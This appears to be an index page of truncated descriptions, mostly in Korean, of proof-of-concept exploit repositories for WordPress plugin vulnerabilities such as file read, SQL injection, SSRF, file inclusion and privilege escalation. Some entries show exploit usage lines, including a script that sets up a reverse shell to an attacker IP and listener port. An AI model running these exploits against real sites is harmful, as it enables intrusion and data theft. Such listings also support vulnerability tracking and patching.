CVE-2024-9224

CVE-2024-9224 Hello World = 2.1.1 - 인증된 구독자+ 임의 파일 읽기 설명 WordPress용 Hello World 플러그인은 2.1.1 버전을 포함한 모든 버전에서 helloworldlyric 함수를 통해 임의 파일 읽기Arbitrary File Reading 취약점에 노출됩니다. 이로 인해 구독자subscriber 수준 이상의 접근 권한을 가진 인증된 공격자가 서버에 있는 임의 파일의 내용을 읽을 수 있으며, 해당 파일에는 민감한 정보가 포함될 수 있습니다. 정보 Published:...

CVE-2024-7135

CVE-2024-7135 Tainacan = 0.21.7 - 인증된 사용자구독자 이상의 임의 파일 읽기를 허용하는 인증 누락 설명 WordPress용 Tainacan 플러그인은 0.21.7 이하 모든 버전에서 'getfile' 함수에 대한 기능 검사capability check 누락으로 인해 데이터에 대한 무단 접근에 취약합니다. 이 함수는 디렉터리 트래버설directory traversal에도 취약합니다. 이로 인해 구독자Subscriber 수준 이상의 권한을 가진 인증된 공격자가 서버에 있는 임의 파일의 내용을 읽을 수 있...

CVE-2024-51665

CVE-2024-51665 Magical Addons For Elementor = 1.2.1 - 인증된 구독자+ 서버사이드 요청 위조 설명: WordPress용 Magical Addons For Elementor Header Footer Builder, Free Elementor Widgets, Elementor Templates Library 플러그인은 1.2.1을 포함한 모든 버전에서 서버사이드 요청 위조Server-Side Request Forgery에 취약합니다. 이를 통해 구독자 수준 이상의 접근 권한을 가진 인증된...

CVE-2024-43998

CVE-2024-43998 Blogpoet = 1.0.2 - Missing Authorization via blogpoetinstallandactivateplugins Published: 2024-08-29 00:00:00 Classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N cvss-score: 5.3 cve-id: CVE-2024-43998 cpe: cpe:2.3:a:blogpoet:blogpoet:::::::: cwe-id: CWE-862...

CVE-2024-1380

CVE-2024-1380 Relevanssi – A Better Search = 4.22.0 - 인증되지 않은 쿼리 로그 내보내기에 대한 권한 확인 누락 설명 WordPress용 Relevanssi – A Better Search 플러그인은 4.22.0을 포함한 모든 버전에서 relevanssiexportlogcheck 함수에 대한 기능 확인 누락으로 인해 데이터에 대한 무단 액세스에 취약합니다. 이로 인해 인증되지 않은 공격자가 쿼리 로그 데이터를 내보낼 수 있습니다. 공급업체는 적절한 권한 제어를 위해 기능 확인 추가를 검...

CVE-2024-50450

CVE-2024-50450 WordPress Meta Data and Taxonomies Filter MDTF = 1.3.3.4 - 인증되지 않은 임의의 단축코드 실행 설명: The MDTF – Meta Data and Taxonomies Filter 플러그인은 최신 버전 1.3.3.4를 포함한 모든 버전에서 임의의 단축코드 실행에 취약합니다. 이는 소프트웨어가 doshortcode를 실행하기 전에 값을 제대로 검증하지 않는 액션을 사용자가 실행할 수 있도록 허용하기 때문입니다. 이로 인해 인증되지 않은 공격자가 임의의 단축코...

CVE-2024-52429

CVE-2024-52429 WP Quick Setup history.pushState'', '', '/'; document.forms0.submit;...

CVE-2024-2387

CVE-2024-2387 Advanced Form Integration – 连接 WooCommerce 和 Contact Form 7 到 Google Sheets 及其他平台 = 1.82.0 - 通过 integrationid 的 SQL 注入到反射型跨站脚本 描述 Advanced Form Integration – 连接 WooCommerce 和 Contact Form 7 到 Google Sheets 及其他平台的 WordPress 插件在 1.82.0 及之前的所有版本中，由于对用户提供的参数转义不足且对现有 SQL 查询缺乏充分准备，通过...

CVE-2025-6934

CVE-2025-6934 🛡️ CVE-2025-6934 - Opal Estate Pro에서의 인증되지 않은 권한 상승 📝 설명 Opal Estate Pro – WordPress용 부동산 관리 및 제출 플러그인은 FullHouse - 부동산 반응형 WordPress 테마에서 사용되며, 버전 1.7.5 이하의 모든 버전에서 권한 상승 취약점에 영향을 받습니다. CVE ID: CVE-2025-6934 CVSS 점수: 9.8 심각 게시일: 2025년 6월 30일 ⚙️ 스크립트 정보 이 Python 익스플로잇은 다음 단계를 통해 권한 상승...

CVE-2023-6421

CVE-2023-6421 다운로드 관리자 3.2.83 - 인증되지 않은 보호된 파일 다운로드 비밀번호 유출 설명 플러그인은 파일 다운로드 비밀번호를 보호하지 않아, 잘못된 비밀번호를 받으면 이를 유출합니다. POC python3 CVE-2023-6421.py https://kubernetes.docker.internal No link generated for ID 1. No link generated for ID 2. Response for ID 3:...

CVE-2024-25092

CVE-2024-25092 NextMove Lite 2.18.0 - Subscriber+ 권한으로 임의 플러그인 설치/활성화 설명: WordPress용 NextMove Lite – Thank You Page for WooCommerce 플러그인은 2.17.0 이하의 모든 버전에서 'xladdoninstallation' 함수에 대한 기능 권한 검사가 누락되어 데이터 무단 수정에 취약합니다. 이로 인해 구독자Subscriber 이상의 인증된 공격자가 임의의 플러그인을 설치하고 활성화할 수 있습니다. Severity: medium...

CVE-2021-38314

CVE-2021-38314 취약점이란 무엇인가? WordPress용 Gutenberg Template Library & Redux Framework 플러그인= 4.2.11은 redux-core/class-redux-core.php의 includes 함수에서 인증되지 않은 사용자가 사용할 수 있는 여러 AJAX 작업을 등록했습니다. 이 작업들은 특정 사이트에 고유하지만, 사이트 URL의 md5 해시알려진 솔트 값 '-redux' 사용와 이전 해시의 md5 해시알려진 솔트 값 '-support' 사용를 기반으로 했기 때문에 결정적...

CVE-2015-8351

gwollebuster 이 스크립트는 WordPress의 오래된 플러그인 gwolle용 익스플로잇입니다. 사용법: ./gwollebuster.py 첫 번째 인수 = gwolle가 설치된 WordPress 대상 URL 두 번째 인수 = 사용자의 IP 세 번째 인수 = 리버스 셸용 리스닝 포트 예시: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 이 스크립트는 PHP 리버스 셸 스크립트를 생성하고 간단한 서버를 바인딩합니다. 따라서 새 터미널 2개를 열어 첫 번째 터미널에서...

CVE-2024-52402

🚀 CVE-2024-52402 익스플로잇: WordPress Exclusive Content Password Protect 플러그인 -un -p 🛠️ 옵션 usage: CVE-2024-52402.py -h -u URL -un USERNAME -p PASSWORD Exploit for ECVE-2024-52402 By | Nxploit, Khaled ALenazi options: -h, --help show this help message and exit -u, --url URL Target WordPress site URL...

CVE-2023-6000-POC

일반 세부 정보 CVE-ID : CVE-2023-6000 CVSS 점수 : 6.1 유형 : 저장형 XSS 수정된 버전 : Popup Builder 4.2.3 이 취약점은 공격자가 WordPress Popup Builder 플러그인의 교차 사이트 스크립팅XSS 결함을 악용할 수 있도록 합니다. 플러그인이 일반 방문자가 기존 팝업을 수정하는 것을 막지 못하며, 공격자가 특수하게 조작된 요청을 서버에 보내면 악성 스크립트를 팝업에 주입할 수 있으며, 사용자가 팝업과 상호작용할 때 해당 스크립트가 실행됩니다. 이 POC에서는 팝업의 ...

CVE-2024-2782-PoC

CVE-2024-2782-PoC CVE-2024-2782 개념 증명Proof-of-Concept WordPress용 퀴즈, 설문조사 및 드래그 앤 드롭 WP Form Builder 플러그인인 Contact Form Plugin by Fluent Forms는 5.1.16 이하의 모든 버전에서 /wp-json/fluentform/v1/global-settings REST API 엔드포인트에 대한 권한capability 검사 누락으로 인해 데이터 무단 수정에 취약합니다. 이로 인해 인증되지 않은 공격자가 플러그인의 모든 설정을 수정...

CVE-2018-7422

CVE-2018-7422 CVE-2018-7422 익스플로잇: WordPress 플러그인 Site Editor 1.1.1의 로컬 파일 포함Local File Inclusion 취약점 T1574.008 구문 ruby 실습 환경 OffSec Proving Grounds - Readys 사용법...

CVE-2024-12209

CVE-2024-12209 WP Umbrella: Update Backup Restore & Monitoring = 2.17.0 - 인증되지 않은 로컬 파일 포함 설명 WordPress용 WP Umbrella: Update Backup Restore & Monitoring 플러그인은 버전 2.17.0 이하에서 'umbrella-restore' 액션의 'filename' 파라미터를 통해 로컬 파일 포함Local File Inclusion 취약점에 영향을 받습니다. 이로 인해 인증되지 않은 공격자가 서버의 임의 파일을 포함 및 실...

CVE-2024-7854

CVE-2024-7854 Woo Inquiry = 0.1 - 인증되지 않은 SQL 인젝션 설명: Woo Inquiry WordPress 플러그인은 버전 0.1까지포함 모든 버전에서 SQL 인젝션에 취약합니다. 이는 사용자가 제공한 매개변수 'dbid'에 대한 이스케이프 처리가 불충분하고 기존 SQL 쿼리에 대한 준비가 충분하지 않기 때문입니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출할 수 있습니다. Improper Neutralization of Speci...

CVE-2021-34646

CVE-2021-34646 CVE-2021-34646 PoC 익스플로잇 제목: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - 인증 우회 날짜: 2021-09-16 익스플로잇 작성자: Sebastian Kriesten 0xB455 연락처: https://twitter.com/0xB455 영향을 받는 플러그인: Booster for WooCommerce 플러그인 슬러그: woocommerce-jetpack 취약점 공개:...